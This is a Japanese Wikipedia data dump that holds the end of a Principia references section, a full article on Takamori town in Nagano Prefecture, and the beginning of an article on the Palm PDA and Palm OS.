|title=プリンシピア 自然哲学の数学的原理
|volume=第1編 物体の運動
|series=ブルーバックス B-2100
|publisher=講談社
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}}
**{{Cite book|和書
|author=アイザック・ニュートン
|others=中野猿人 訳・注
|date=2019-07-20
|title=プリンシピア 自然哲学の数学的原理
|volume=第2編 抵抗を及ぼす媒質内での物体の運動
|series=ブルーバックス B-2101
|publisher=講談社
|isbn=978-4-06-516656-7
|ref={{Harvid|ニュートン|2019b}}
}}
**{{Cite book|和書
|author=アイザック・ニュートン
|others=中野猿人 訳・注
|date=2019-08-20
|title=プリンシピア 自然哲学の数学的原理
|volume=第3編 世界体系
|series=ブルーバックス B-2102
|publisher=講談社
|isbn=978-4-06-516657-4
|ref={{Harvid|ニュートン|2019c}}
}}
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 参考文献 ==
*{{Cite book|和書|author=スブラマニアン・チャンドラセカール|authorlink=スブラマニアン・チャンドラセカール|others=[[中村誠太郎]]監訳|year=1998|month=11|title=チャンドラセカールの「プリンキピア」講義 一般読者のために|series=KS物理専門書|publisher=講談社|isbn=4-06-153233-2|ref=チャンドラセカール1998}} - 天体物理の専門家[[スブラマニアン・チャンドラセカール|チャンドラセカール]]が10年近くの歳月をかけて完成させた解説書。
*{{Cite book|和書|author=山本義隆|authorlink=山本義隆|year=1997|month=6|title=古典力学の形成 ニュートンからラグランジュへ |publisher=日本評論社|isbn=4-535-78243-1|ref=山本1997}}
*{{Cite book|和書|author=和田純夫|authorlink=和田純夫|date=2009-05-20|title=プリンキピアを読む ニュートンはいかにして「万有引力」を証明したのか?|series=ブルーバックス B-1638|publisher=講談社|isbn=978-4-06-257638-3|ref=和田2009}}
{{wikisourcelang|en|Philosophiae Naturalis Principia Mathematica}}
{{wikisourcelang|en|The Mathematical Principles of Natural Philosophy (1846)}}
{{Commonscat|Philosophiae Naturalis Principia Mathematica}}
== 関連項目 ==
{{Div col}}
*[[運動の法則]]
*[[ニュートン力学]]
*[[ヒポテセス・ノン・フィンゴ]]
*[[万有引力|万有引力の法則]]
*[[:en:Book:Isaac Newton|Book:Isaac Newton]] (英語版ウィキペディアの関連項目集)
{{Div col end}}
== 外部リンク ==
*{{Kotobank|プリンキピア}}
* [http://cudl.lib.cam.ac.uk/view/PR-ADV-B-00039-00001/ Philosophiæ naturalis principia mathematica]:[[ケンブリッジ大学]]の原文
* [http://www.gutenberg.org/etext/28233 プリンキピア] - Project Gutenberg
* [https://books.google.co.jp/books?id=WqaGuP1HqE0C&printsec=titlepage&redir_esc=y&hl=ja ラテン語のプリンキピア]
* [http://en.wikisource.org/wiki/Philosophiae_Naturalis_Principia_Mathematica wikisource上のプリンキピア(ラテン語原文および英語版を数版掲載)]
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[[Category:アイザック・ニュートン]]
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6,869 | 高森町 (長野県) | 高森町(たかもりまち)は、長野県下伊那郡にある町。
長野県の南信地方の中央部にあり、下伊那郡の北部に位置している。南アルプスと中央アルプスに挟まれた天竜川の河岸段丘にある。町の東西でかなりの標高差がある。
戦国時代には座光寺氏が伊那郡の国衆として活動した。座光寺は山吹館を本拠とし、はじめ甲斐国の武田氏に従い、1582年(天正10年)3月の武田氏滅亡後は徳川氏に従っている。
1889年(明治22年)4月1日には町村制の施行により、下伊那郡市田村・山吹村が発足した。
1957年(昭和32年)7月1日、市田村と山吹村が合併して高森町が発足した。前高森山・本高森山が町名の由来である。
1961年(昭和36年)6月には昭和36年梅雨前線豪雨で大水害(36災害、さぶろくさいがい)が発生した。
2002年(平成14年)には世界中の蘭をあつめた博物館である蘭ミュージアム高森が開園したが、経営難のために2009年(平成21年)11月1日に閉園した。
2006年(平成18年)1月16日、5期20年と長い間町長を務めてきた吉川貢町長の任期切れにより町長選が行われた。吉川町長は6期目満了後の引退を宣言しており、現職と新人3人の計4人の争いとなった。新人で43歳の熊谷元尋が当選した。投票率は前回の町長選に比べて5%あまり落ちた。
2010年(平成22年)1月12日に町長選が告示され、現職の熊谷元尋が無投票で2選を果たした。
2005年(平成17年)7月、高森町町議会議員選挙が行われた。それまで二期に渡って無投票で終わっていたが、この年は定員以上の候補者があつまり選挙となった。しかし地元の新聞などでは「地域選挙の域を出なかった」と評されるなどとても活発に行われたものではなかった。どの候補も「福祉」「町の自立」の二つを掲げたものの主張は具体性を欠き、近年町で起こっている出来事に対しての公約や主張というものがほとんどなかったのである。しかし一部で「このまま無投票が続けば、高森はだめになる」という動きがあり、それによって出馬したものがいたという事に関しては今までにない動きであった。
2003年(平成15年)4月、町内で、音声のみの町内の簡単なニュースと、町内のみの話題を取り扱った番組、そして、町内のみで通じる電話という有線放送を行っていた「高森町有線放送農業協同組合」が高森町ケーブルテレビに移行した。これは、高森町全体をケーブルテレビのテレビ放送、光同軸ハイブリッド伝送方式を使った高速IP回線と、近隣の有線放送、ケーブルテレビの電話と相互接続が可能なようにNTT加入電話と同じ番号を使うなど、地域情報化を意識した作りになっている。ただし、開設されてから後現在に至るまで、サービスの拡充は行われておらず、さらにケーブルテレビは地元で普通に受信できる地上波およびNHKBSの送信にとどまっている。
長野県内で初となる、「高森町町民参加条例」を2003年(平成15年)4月1日に施行した。これは町民が、自治組織における自らの役割と責務を自覚し、自主的かつ主体的に自治活動に取り組みながら、積極的にまちづくりに参加するようにと定められている。この条例をめぐり、当時、町議会において激しい議論が交わされた。
2005年(平成17年)春、町より町役場前のほら(小さな沢でけずられた谷)である「唐沢洞(からさわぼら)」にたいして埋め立てを行い、そこに公共施設の駐車場、および洞を横断し町役場へのアクセスをよくする、さらには中学校への通学路の安全を確保する、といった計画が発表された。
それに対して、1961年(昭和36年)に長野県南部を襲った大災害「三六災害」を経験した者が先頭に立ち、その洞より低い場所に住む者達を中心に、計画に対し異議を唱える陳情が出された。反対派は、洞は水があつまって出来た場所であるため豪雨が降ると大量の水が集まることによって、崩れる危険性が非常に高いということ、さらには、かつての災害のとき、非常に崩れた箇所であり、近年の豪雨災害では埋め立てた箇所が表面がすべるように崩れている点を指摘している。さらには町が主張することはほぼ代案によってそれよりも安全に安価に地域の風景を破壊することなく実現可能としている。
しかしこの陳情は町議会では否決され受け入れることすらなかった。しかし、反対派は働きかけを続けており、議論が繰り広げられている。
町のキャッチコピーは「柿とカヌーと祭りの町」。柿とは、特産品の「市田柿」という干し柿の事を指し、カヌーとは、町の端、豊丘村、喬木村との間を流れる天竜川にカヌーが出来る港を作って毎年大会などを開いていることを指す。祭りは、町の西にある瑠璃寺より、地方に広まったと言われる獅子舞が披露される祭りや、町の中の地区などが主宰する納涼祭などの祭りが盛んに開かれていることを言っている。
別のキャッチコピーとして「富本銭の町」がある。かつて町域から日本最古の貨幣とされている富本銭が発掘されていたことに由来する。
農地は多いが、産業としては農業より製造業や卸売・小売業が主要である。
標高の高い場所ではリンゴやナシなどの果樹が、天竜川に近い場所では市田柿が特産である。
市田柿は高森町市田(旧・市田村)が発祥の地であり、主に干し柿に加工される。大正時代に市田村の事業として市田柿という名前が付けられ、上沼正雄らによって商品化が行われた。2006年(平成18年)には市田柿が長野県初の地域団体商標として登録された。
高森町によって高齢者を対象にした福祉バスが運行されている。 | [
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| 高森町(たかもりまち)は、長野県下伊那郡にある町。 | {{日本の町村
| 自治体名 = 高森町
| 画像 = Ichida-Gaki of dried persimmon.JPG
| 画像の説明 = [[名産]]の[[市田柿]]
| 旗 = [[ファイル:Flag of Takamori, Nagano.svg|100px|高森町旗]]
| 旗の説明 = 高森[[市町村旗|町旗]]
| 紋章 = [[ファイル:Emblem of Takamori, Nagano.svg|70px|高森町章]]
| 紋章の説明 = 高森[[市町村章|町章]]
| 区分 = 町
| 都道府県 = 長野県
| 郡 = [[下伊那郡]]
| コード = 20403-0
| 隣接自治体 = [[飯田市]]、[[下伊那郡]][[松川町]]、[[豊丘村]]、[[喬木村]]
| 木 = [[キンモクセイ|金木犀]]、[[カキノキ|柿]]
| 花 = [[ヤマブキ|やまぶき]]
| シンボル名 = 他のシンボル
| 鳥など =
| 郵便番号 = 399-3193
| 所在地 = 下伊那郡高森町下市田2183-1<br />{{Coord|format=dms|type:adm3rd_region:JP-20|display=inline,title|name=高森町}}<br />[[ファイル:Takamori town office (Nagano).jpg|200px|高森町役場]]
| 外部リンク = {{Official website}}
| 位置画像 = {{基礎自治体位置図|20|403|image=Takamori in Nagano Prefecture Ja.svg|村の色分け=yes}}
| 特記事項 =
}}
[[ファイル:Takamori-machi_public-office_Aerial_Shoot.jpg|サムネイル|高森町役場]]
[[ファイル:Takamori Landscape2.JPG|thumb|瑠璃寺から高森町中心部を望む]]
[[ファイル:Takamori Landscape1.JPG|thumb|瑠璃寺周辺から中央アルプスを望む]]
[[ファイル:Ruridera takamori.JPG|thumb|瑠璃寺薬師本堂]]
'''高森町'''(たかもりまち)は、[[長野県]][[下伊那郡]]にある[[町]]。
== 地理 ==
長野県の[[南信地方]]の中央部にあり、[[下伊那郡]]の北部に位置している。[[赤石山脈|南アルプス]]と[[木曽山脈|中央アルプス]]に挟まれた[[天竜川]]の[[河岸段丘]]にある。町の東西でかなりの標高差がある。
=== 町内の地域 ===
* 下市田
* 出砂原(ださら)
* 吉田
* 牛牧
* 上市田
* 大島山(おおじまさん)
* 出原(いずはら)
* 山吹
=== 人口 ===
{{人口統計|code=20403|name=高森町|image=Population distribution of Takamori, Nagano, Japan.svg}}
== 歴史 ==
=== 中世・近世 ===
[[戦国時代 (日本)|戦国時代]]には[[座光寺氏]]が伊那郡の[[国衆]]として活動した。座光寺は山吹館を本拠とし、はじめ[[甲斐国]]の[[武田氏]]に従い、[[1582年]]([[天正]]10年)3月の武田氏滅亡後は[[徳川氏]]に従っている。
=== 近代・現代 ===
1889年(明治22年)4月1日には[[町村制]]の施行により、[[下伊那郡]][[市田村 (長野県)|市田村]]・[[山吹村]]が発足した。
1957年(昭和32年)7月1日、市田村と山吹村が合併して'''高森町'''が発足した。前高森山・本高森山が町名の由来である。
1961年(昭和36年)6月には[[昭和36年梅雨前線豪雨]]で大水害(36災害、さぶろくさいがい)が発生した。
2002年(平成14年)には世界中の蘭をあつめた博物館である[[蘭ミュージアム高森]]が開園したが、経営難のために2009年(平成21年)11月1日に閉園した。
== 行政 ==
=== 町長 ===
* [[壬生照玄]](みぶ しょうげん・2018年1月23日就任)
; 町長選挙
2006年(平成18年)1月16日、5期20年と長い間町長を務めてきた吉川貢町長の任期切れにより町長選が行われた。吉川町長は6期目満了後の引退を宣言しており、現職と新人3人の計4人の争いとなった。新人で43歳の熊谷元尋が当選した。投票率は前回の町長選に比べて5%あまり落ちた。
2010年(平成22年)1月12日に町長選が告示され、現職の熊谷元尋が無投票で2選を果たした。
=== 町議会 ===
* 議員定数:14(任期:2025年7月29日まで)
* 議長:岩口友雄
; 町議会議員選挙
2005年(平成17年)7月、高森町町議会議員選挙が行われた。それまで二期に渡って無投票で終わっていたが、この年は定員以上の候補者があつまり選挙となった。{{独自研究範囲|しかし地元の新聞などでは「地域選挙の域を出なかった」と評されるなどとても活発に行われたものではなかった。どの候補も「福祉」「町の自立」の二つを掲げたものの主張は具体性を欠き、近年町で起こっている出来事に対しての公約や主張というものがほとんどなかったのである。しかし一部で「このまま無投票が続けば、高森はだめになる」という動きがあり、それによって出馬したものがいたという事に関しては今までにない動きであった。|date=2022-06}}
=== 友好都市 ===
* [[静岡県]][[御前崎市]]
*: 2007年(平成19年)9月24日 友好都市提携<ref>御前崎市「[http://www.city.omaezaki.shizuoka.jp/kikaku/kanko/bunka/toshikoryu/yuko/toshi.html 友好都市長野県・高森町]」より(2015年12月1日更新、2017年9月11日閲覧)。</ref>
* [[熊本県]][[阿蘇郡]][[高森町 (熊本県)|高森町]]
=== 高森町ケーブルテレビ ===
{{要出典範囲|2003年(平成15年)4月、町内で、音声のみの町内の簡単なニュースと、町内のみの話題を取り扱った番組、そして、町内のみで通じる電話という[[有線放送電話|有線放送]]を行っていた「高森町有線放送農業協同組合」が[[高森町ケーブルテレビ]]に移行した。これは、高森町全体を[[ケーブルテレビ]]の[[テレビジョン|テレビ]]放送、光同軸ハイブリッド伝送方式を使った高速IP回線と、近隣の有線放送、ケーブルテレビの電話と相互接続が可能なように[[東日本電信電話|NTT]]加入電話と同じ番号を使うなど、地域情報化を意識した作りになっている。ただし、開設されてから後現在に至るまで、サービスの拡充は行われておらず、さらにケーブルテレビは地元で普通に受信できる地上波およびNHKBSの送信にとどまっている。|date=2022-06}}
=== 高森町町民参加条例 ===
長野県内で初となる、「高森町町民参加条例」を2003年(平成15年)4月1日に施行した。これは町民が、自治組織における自らの役割と責務を自覚し、自主的かつ主体的に自治活動に取り組みながら、積極的にまちづくりに参加するようにと定められている。{{要出典範囲|この条例をめぐり、当時、町議会において激しい議論が交わされた。|date=2017-02}}
=== 唐沢洞埋め立て論議 ===
{{出典の明記|section=yes|date=2017-02}}
2005年(平成17年)春、町より町役場前のほら(小さな沢でけずられた谷)である「唐沢洞(からさわぼら)」にたいして埋め立てを行い、そこに公共施設の駐車場、および洞を横断し町役場へのアクセスをよくする、さらには中学校への通学路の安全を確保する、といった計画が発表された。
それに対して、1961年(昭和36年)に長野県南部を襲った大災害「三六災害」を経験した者が先頭に立ち、その洞より低い場所に住む者達を中心に、計画に対し異議を唱える陳情が出された。反対派は、洞は水があつまって出来た場所であるため豪雨が降ると大量の水が集まることによって、崩れる危険性が非常に高いということ、さらには、かつての災害のとき、非常に崩れた箇所であり、近年の豪雨災害では埋め立てた箇所が表面がすべるように崩れている点を指摘している。さらには町が主張することはほぼ代案によってそれよりも安全に安価に地域の風景を破壊することなく実現可能としている。
しかしこの陳情は町議会では否決され受け入れることすらなかった。しかし、反対派は働きかけを続けており、議論が繰り広げられている。
=== キャッチコピー ===
町のキャッチコピーは「柿とカヌーと祭りの町」。[[カキノキ|柿]]とは、特産品の「市田柿」という干し柿の事を指し、[[カヌー]]とは、町の端、[[豊丘村]]、[[喬木村]]との間を流れる天竜川にカヌーが出来る港を作って毎年大会などを開いていることを指す。祭りは、町の西にある瑠璃寺より、地方に広まったと言われる獅子舞が披露される祭りや、町の中の地区などが主宰する納涼祭などの祭りが盛んに開かれていることを言っている。
別のキャッチコピーとして「[[富本銭]]の町」がある。かつて町域から日本最古の[[貨幣]]とされている富本銭が発掘されていたことに由来する。
== 教育 ==
[[File:Takamori-mach Elementary school and cherry blossoms Aerial Shoot.jpg|thumb|高森町立高森南小学校と校庭桜]]
[[File:Takamori-machi junior high school Aerial Shoot.jpg|thumb|高森町立高森中学校]]
=== 学校教育 ===
* [[高森町立高森南小学校]]
* [[高森町立高森北小学校]]
* [[高森町立高森中学校]]
=== 社会教育 ===
* [[高森町立図書館]]
== 経済 ==
農地は多いが、産業としては農業より製造業や卸売・小売業が主要である。
=== 農業 ===
標高の高い場所では[[リンゴ]]や[[ナシ]]などの果樹が、天竜川に近い場所では[[市田柿]]が特産である。
市田柿は高森町市田(旧・[[市田村 (長野県)|市田村]])が発祥の地であり、主に[[干し柿]]に加工される<ref name="JAみなみ信州">[https://www.ja-mis.iijan.or.jp/gotominami/hometown/2008/01/post_40.php 市田柿発祥の里] JAみなみ信州</ref>。大正時代に市田村の事業として市田柿という名前が付けられ、[[上沼正雄]]らによって商品化が行われた<ref>『市田柿のふるさと』高森町、2011年</ref>。2006年(平成18年)には市田柿が長野県初の[[地域団体商標]]として登録された<ref name="JAみなみ信州"/>。
=== 工業 ===
* 綿半テクノス飯田工場
== 交通 ==
[[ファイル:JR Ichida.jpg|220px|thumb|市田駅]]
高森町によって高齢者を対象にした福祉バスが運行されている。
=== 鉄道 ===
* [[東海旅客鉄道]](JR東海)[[飯田線]]
: [[下市田駅]]、[[市田駅]]、[[下平駅]]、[[山吹駅]]
=== 道路 ===
==== 高速道路 ====
* [[中央自動車道]][[高森バスストップ|高森BS]]
:(飯田〜松本・長野線、飯田〜新宿線、飯田〜横浜線、箕輪〜大阪線、箕輪〜名古屋線)
==== 一般国道 ====
* [[国道153号]]
==== 都道府県道 ====
* [[長野県道15号飯島飯田線]]
* [[長野県道226号市ノ沢山吹停車場線]]
* [[長野県道227号市田停車場上市田線]]
* [[長野県道228号市田停車場線]]
* [[長野県道428号山吹停車場線]]
==== 主な町道 ====
* 町道一号線 - 町の南北を貫く。現在は一部広域農道に併合。
* 上段開発道路(ハーモニック道路) 町の一番西、山付けを、町を南北に貫く道。始点に高森カントリークラブ、中間点に蘭ミュージアム高森、終点に湯ヶ洞 御大の館の温泉施設がある。
== 出身有名人 ==
* [[今村清之助]] - 実業家。[[角丸証券]](現・みずほインベスターズ証券株式会社)創業者。
* [[今村信行]] - 法務官僚。[[大審院]][[判事]]。
* [[上沼八郎]] - 教育学者。
* [[島岡吉郎]] - 野球指導者。[[明治大学硬式野球部]]監督。
* [[宮下正美]] - 児童文学者。
* [[寺澤孝文]] - 教育者。[[岡山大学]]大学院教授。[[教育]]と[[ビッグデータ]]研究の第一人者。
* [[一木清直]] - 陸軍軍人。
== 名所・旧跡・観光スポット ==
[[ファイル:Pin-Pin-Korori Jizo.jpg|thumb|ピンピンコロリ地蔵(瑠璃寺)]]
[[ファイル:Fudo Falls (Takamori, Nagano) 2.jpg|thumb|不動滝]]
[[File:武陵地1号古墳全景.jpg|thumb|武陵地1号古墳]]
* [[本学神社]]
: [[国学]]の四大人を祀る日本で唯一の神社。
* 山の寺(隣政寺)
: 「哲学の道」と呼ばれる道をあがった末にある。
* [[松岡城 (信濃国)|松岡城(信濃国)]]
* [[瑠璃寺_(長野県高森町)|瑠璃寺]]
: 勇壮な[[獅子舞]]が有名。獅子舞はこの寺からこの地方に広がったとされる。[[ピンピンコロリ]]地蔵がある。
* [[不動滝 (高森町)|不動滝]]
: 瑠璃寺をさらに奥に入った場所にある。干水ノ沢の滝。
* [[高森町立高森南小学校]]のソメイヨシノ
: 樹齢60年を超える大木の[[ソメイヨシノ]]が校庭を囲むように植えられている。「日本一の学校桜」と謳われている。
* 湯ヶ洞 御大の館
: [[ラドン|ラドン湯]]温泉施設。湯ヶ洞は宿泊施設で、[[島岡吉郎]]にちなんでつけられた御大の館は日帰り温泉施設である。また、[[明治大学]]野球部は毎年夏に高森町を含む飯田下伊那地域で合宿を行っている。
* 下平遺跡(高森町山吹)
: 高森町教育委員会による2014年(平成26年)5月から6月にかけての試掘調査にて、新発見の[[古墳時代]]後期と思われる[[円墳]]1基(下平1号古墳)1基とその周溝墓、また古墳の敷地を利用した[[火葬]]墓が検出された。また、縄文から平安までの[[土器]]片、陶器片、打製石斧等の石器が出土した<ref>{{Cite book|和書|first=徹|last=岩崎|title=平成26年度高森町埋蔵文化財発掘調査報告書|origdate=2016-03|date=2016-03|url=https://sitereports.nabunken.go.jp/16478|location=長野県下伊那郡高森町下市田2183番地1|ncid=BB21268148|doi=10.24484/sitereports.16478 |page=2}}</ref>。
* 増野新切遺跡(高森町山吹)
:[[長野県]][[下伊那郡]]高森町山吹7767番地から8838番地にある[[縄文時代]]の[[遺跡]]。1963年(昭和38年)5月から実施された発掘調査にて6軒の住居跡が確認され、1972年(昭和47年)度の調査で[[標高]]630メートルから665メートルにかけての遺跡全域に住居跡(検出は78軒、うち2軒は[[田|水田]]の造成で破壊)が発見されている<ref>{{Cite book|和書|first=善興|last=今村|first2=本昭|last2=鳴海|first3=平八郎|last3=木下|first4=藤麻呂|last4=遮那|first5=正彦|last5=金井|first6=幸則|last6=酒井|first7=和夫|last7=大沢|title=長野県中央道埋蔵文化財包蔵地発掘調査報告書|origdate=1972-03-01|date=1972-03-01|url=https://sitereports.nabunken.go.jp/7804|publisher=日本道路公団名古屋支社|location=長野県長野市大字鶴賀緑町1613番地|ncid=BN08207653|doi=10.24484/sitereports.7804}}</ref>。なお増野新切遺跡から400メートルから500メートル離れた場所に増野新切Ⅱ遺跡がある<ref name="名前なし-20230316134850">{{Cite book|和書|first=徹|last=岩崎|first2=佳奈|last2=髙島|title=平成27年度高森町埋蔵文化財発掘調査報告書|origdate=2017-03|date=2017-03|url=https://sitereports.nabunken.go.jp/19442|location=長野県下伊那郡高森町下市田2183番地1|ncid=BA42957064|doi=10.24484/sitereports.19442}}</ref>。
* [[武陵地古墳群]](高森町下市田)
: 「秋葉塔の塚」と呼ばれる武陵地1号古墳<ref>下伊那誌編纂会 1955『下伊那史 第二巻 原史時代上』下伊那誌編纂会</ref>、「祝殿の塚」と呼ばれる武陵地3号古墳、「福神の塚」と呼ばれる武陵地5号古墳<ref name="名前なし-20230316134850"/>、など7基が確認されている。
* [[下市田学校]](高森町下市田)
* [[竹ノ内家住宅]](高森町吉田)
:寛政11年(1799年)の建築とされる江戸時代の民家。国の[[重要文化財]]に指定されている。
== 祭事・催事 ==
* 市田灯篭流し花火大会
: 毎年8月18日。天竜川の水面を流れる灯篭と、美しい花火が見られる。地域では飯田市の「飯田時又灯篭流し」と並ぶ大規模な灯篭流し・花火大会。
== 脚注 ==
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== 外部リンク ==
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* {{Facebook|高森町役場長野県-288728304572527}}
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* {{Instagram|takamori_town_official}}
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[[Category:長野県の市町村]]
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[[Category:1957年設置の日本の市町村]] | 2003-04-17T13:58:10Z | 2023-08-17T11:05:39Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E9%AB%98%E6%A3%AE%E7%94%BA_(%E9%95%B7%E9%87%8E%E7%9C%8C) |
6,872 | Palm (PDA) | Palm(パーム)は、ジェフ・ホーキンスによって開発され1996年から販売されたPDAの名。
同時に、それを製造・販売する会社Palm社(1992年設立)、そのPDAに搭載されるオペレーティングシステムであるPalm OSを指し、さらに同OS搭載のPDA全般を指してPalmと呼ぶこともある。
昔はNewtonと、今はWindows Mobileと良く比較される。
Palmの特徴は「Zen(禅) of Palm」といわれるフィロソフィー(哲学)で強調され、限られたリソースを効率的に使って、実践的なユーザーインタフェースを提供している。
標準的なPalmデバイスは、以下のような特徴を持つ。
クレイドルと称する台座型の装置を介してパソコンと同期を取る HotSync という仕組みを備え、ソフトウェアのインストールやデータの連携が容易になっている。データの同期を取るパソコンを、俗に母艦という。
文字入力にはグラフィティと呼ばれる、アルファベットを元にした一筆書きの記号を手書き入力する。これは完全な文字認識に比べて処理も軽く、入力もしやすいとされている。例えば、「A」は「Λ」、「B」は「β」のように書き込む。「*」や「@」のような記号も入力できる。
また、入力領域を左右に分割し、左側を英文字、右側を数字の入力に完全に分離している。これにより、「1」と「I」、「O」と「0」、「5」と「S」、といった似た形の文字を同じストロークで確実に入力することが可能となっている。
現在は、Treoなどのキーボードデバイスが販売され、グラフィティもグラフィティ2となり進化している。グラフィティ2は、より本来のアルファベットの書き順を再現され、画面左端が小文字エリア、中央が大文字、右端が数字エリアとなっている。
Palmのオペレーティングシステム、Palm OSは他社にもライセンス供与され、IBM、ソニーなどから互換機が発売されていた(Handspringも互換機を出していたが、同社はPalm社に買収され現存しない)。
現在、OSは分社化した PalmSource が開発し、各社にライセンス供与を行っているが、株式会社ACCESSが2005年11月15日にPalmSourceを買収し(現社名・ACCESS Systems)、Linuxカーネル2.6 ベースのAccess Linux Platform (ALP) の開発を始めた。ALP にはPalmOS エミュレータが内蔵されており、Palm OSアプリケーションが動く。他にはGTKアプリケーション、Javaアプリケーションなどが動く。2007年にALP搭載端末の出荷が予定されている。事実上、PalmOS自体の開発は終わった。
Palm デバイスには、メーカーなどによって異なるが、以下のようなソフトウェアが標準搭載されている。
なおソフトウェア環境の仕様を広く公開しており、専用のプログラミング環境(コンパイラとエミュレータがセットになっている)も無償で提供されているものもあり、世界中にフリーウェア作家が存在している。またPalmの欠点ともいえるリソースの少なさは、逆にプログラマー達の創作意欲をくすぐるのか、他の PDA と比較しても全般的にフリーウェアの完成度は高いとされる。しかしその一方で、PDA 初のコンピュータウイルス(トロイの木馬)が発見されたのもこのOSである。
旧来の機種はフラッシュメモリ容量が4MBや8MBでメモリカード非対応となっていたが、最近の機種では標準で32〜128MBになっている他、SDメモリーカード等のメモリカードにも対応し、フラッシュメモリーを搭載した機種もある。ハイエンド機のスペックは一昔前のPocket PCとさほど変わらない。メーカーによっては、デジタルオーディオプレーヤーやデジタルカメラ・GPS・Wi-Fi・Bluetoothといった付加機能を搭載している機種もあり、一部にはバーコードリーダー組み込みとなっている製品もある。近年では腕時計型やハードディスクを搭載した機種も発売されている。一方で、もともとの実用本位な設計理念もあって、非常に安価な機種も多い。また、先発である事や前出の開発環境が無償提供されている事もあって、ソフトウェア資産の豊富さでは、他のPDAから突出している。
しかし、ハードウェアの進化に比べてOSの進化は遅れている。Palmが登場した時代には、シンプルなハードウェア、アーキテクチャでシンプルなユーザインタフェース、シンプルなソフトウェアを駆動するというコンセプトは確かに正しく、また成功を収めたが、現在ではややアンバランスなシステムになってしまった感は否めない。
さらに、後発のPocket PCと競合するうちに、日本のPDA 市場そのものが高機能携帯電話に押されて縮小傾向となり、2002年9月、パームコンピューティング社をはじめとする海外メーカーは日本市場から撤退してしまった。その一方、アメリカではPalmOSを採用した携帯電話が登場している。北米市場においては、安価でシンプルな Zire シリーズ、ビジネスマンに人気の Tungsten シリーズ、スマートフォンのTreoシリーズが比較的好調に推移しており、Palmの売り上げも半分以上がスマートフォンとなった。なお、日本で(W-ZERO3など)スマートフォンが本格登場し始めたのはCLIE撤退後である。
Palm デバイスを提供している(いた)メーカーと、製品ブランドの一覧。 | [
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"text": "現在、OSは分社化した PalmSource が開発し、各社にライセンス供与を行っているが、株式会社ACCESSが2005年11月15日にPalmSourceを買収し(現社名・ACCESS Systems)、Linuxカーネル2.6 ベースのAccess Linux Platform (ALP) の開発を始めた。ALP にはPalmOS エミュレータが内蔵されており、Palm OSアプリケーションが動く。他にはGTKアプリケーション、Javaアプリケーションなどが動く。2007年にALP搭載端末の出荷が予定されている。事実上、PalmOS自体の開発は終わった。",
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"text": "Palm デバイスには、メーカーなどによって異なるが、以下のようなソフトウェアが標準搭載されている。",
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"text": "なおソフトウェア環境の仕様を広く公開しており、専用のプログラミング環境(コンパイラとエミュレータがセットになっている)も無償で提供されているものもあり、世界中にフリーウェア作家が存在している。またPalmの欠点ともいえるリソースの少なさは、逆にプログラマー達の創作意欲をくすぐるのか、他の PDA と比較しても全般的にフリーウェアの完成度は高いとされる。しかしその一方で、PDA 初のコンピュータウイルス(トロイの木馬)が発見されたのもこのOSである。",
"title": "ソフトウェア"
},
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"text": "旧来の機種はフラッシュメモリ容量が4MBや8MBでメモリカード非対応となっていたが、最近の機種では標準で32〜128MBになっている他、SDメモリーカード等のメモリカードにも対応し、フラッシュメモリーを搭載した機種もある。ハイエンド機のスペックは一昔前のPocket PCとさほど変わらない。メーカーによっては、デジタルオーディオプレーヤーやデジタルカメラ・GPS・Wi-Fi・Bluetoothといった付加機能を搭載している機種もあり、一部にはバーコードリーダー組み込みとなっている製品もある。近年では腕時計型やハードディスクを搭載した機種も発売されている。一方で、もともとの実用本位な設計理念もあって、非常に安価な機種も多い。また、先発である事や前出の開発環境が無償提供されている事もあって、ソフトウェア資産の豊富さでは、他のPDAから突出している。",
"title": "特色"
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"text": "しかし、ハードウェアの進化に比べてOSの進化は遅れている。Palmが登場した時代には、シンプルなハードウェア、アーキテクチャでシンプルなユーザインタフェース、シンプルなソフトウェアを駆動するというコンセプトは確かに正しく、また成功を収めたが、現在ではややアンバランスなシステムになってしまった感は否めない。",
"title": "特色"
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"text": "さらに、後発のPocket PCと競合するうちに、日本のPDA 市場そのものが高機能携帯電話に押されて縮小傾向となり、2002年9月、パームコンピューティング社をはじめとする海外メーカーは日本市場から撤退してしまった。その一方、アメリカではPalmOSを採用した携帯電話が登場している。北米市場においては、安価でシンプルな Zire シリーズ、ビジネスマンに人気の Tungsten シリーズ、スマートフォンのTreoシリーズが比較的好調に推移しており、Palmの売り上げも半分以上がスマートフォンとなった。なお、日本で(W-ZERO3など)スマートフォンが本格登場し始めたのはCLIE撤退後である。",
"title": "特色"
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"text": "Palm デバイスを提供している(いた)メーカーと、製品ブランドの一覧。",
"title": "メーカー・ブランド一覧"
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| Palm(パーム)は、ジェフ・ホーキンスによって開発され1996年から販売されたPDAの名。 同時に、それを製造・販売する会社Palm社(1992年設立)、そのPDAに搭載されるオペレーティングシステムであるPalm OSを指し、さらに同OS搭載のPDA全般を指してPalmと呼ぶこともある。 | [[ファイル:PalmOne Zire31.JPG|right|thumb|Palmデバイスの例(palmOne社のZire 31)]]
'''Palm'''(パーム)は、[[ジェフ・ホーキンス]]によって開発され[[1996年]]から販売された[[携帯情報端末|PDA]]の名<ref>『考える脳 考えるコンピューター』</ref>。
同時に、それを製造・販売する会社[[パーム (企業)|Palm社]]([[1992年]]設立)、そのPDAに搭載される[[オペレーティングシステム]]である[[Garnet OS|Palm OS]]を指し、さらに同OS搭載のPDA全般を指してPalmと呼ぶこともある。
== Palmの哲学 ==
昔は[[Apple Newton|Newton]]と、今は[[Windows Mobile]]と良く比較される。
Palmの特徴は「Zen(禅) of Palm」といわれるフィロソフィー(哲学)で強調され、限られたリソースを効率的に使って、実践的な[[ユーザーインタフェース]]を提供している。
== ハードウェア ==
標準的なPalmデバイスは、以下のような特徴を持つ。
* 本体前面の大部分を占める、感圧センサーを備えた[[液晶]]画面([[タッチパネル]])
*: これは専用の[[スタイラス]]ペンでも、指でも、キャップをしたままのボールペン等でも操作できる。
* 感圧センサー面の下部に配された、[[グラフィティ (Palm)|グラフィティ]]専用領域。左側が文字入力、右側が数字入力用に割り当てられている。最近は、ソフトウェア的に実現されている。
* 本体前面最下部ボタン群。
** 中央には、上下のスクロールボタン。
**: 基本的なPalmの仕様では、左右のボタンはない。このあたりにもシンプルを極めるPalmの哲学が現れているといわれる。しかし、5wayボタンなど、新たな操作性の向上となるものは、搭載され続けている。
** スクロールボタンの左右に配された4つのアプリケーションボタン
